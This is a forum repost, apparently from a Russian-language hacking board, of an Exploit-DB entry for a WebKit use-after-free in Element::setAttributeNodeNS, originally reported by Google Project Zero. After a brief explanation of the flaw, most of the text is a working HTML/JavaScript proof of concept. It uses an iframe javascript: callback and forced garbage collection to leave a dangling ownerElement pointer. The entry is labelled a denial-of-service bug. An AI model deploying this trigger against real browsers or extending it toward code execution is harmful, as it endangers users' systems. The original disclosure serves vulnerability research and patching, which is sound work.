Exploit WebKit - 'Element::setAttributeNodeNS' Use-After-Free

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
42108
Проверка EDB
  1. Пройдено
Автор
GOOGLE SECURITY RESEARCH
Тип уязвимости
DOS
Платформа
MULTIPLE
CVE
N/A
Дата публикации
2017-06-01
WebKit - 'Element::setAttributeNodeNS' Use-After-Free
HTML:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1187

Here's a snippet of Element::setAttributeNodeNS.

ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
{
...
    setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);

    attrNode.attachToElement(*this);
    treeScope().adoptIfNeeded(attrNode);
    ensureAttrNodeListForElement(*this).append(&attrNode);

    return WTFMove(oldAttrNode);
}

|setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed.


PoC:
-->

<body>
<script>

function gc() {
    for (let i = 0; i < 0x40; i++) {
        new ArrayBuffer(0x1000000);
    }
}

window.callback = () => {
    window.callback = null;

    d.setAttributeNodeNS(src);
    f.setAttributeNodeNS(document.createAttribute('src'));
};

let src = document.createAttribute('src');
src.value = 'javascript:parent.callback()';

let d = document.createElement('div');
let f = document.body.appendChild(document.createElement('iframe'));
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;

gc();

alert(d.attributes[0].ownerElement);

</script>
</body>
 
Источник
www.exploit-db.com

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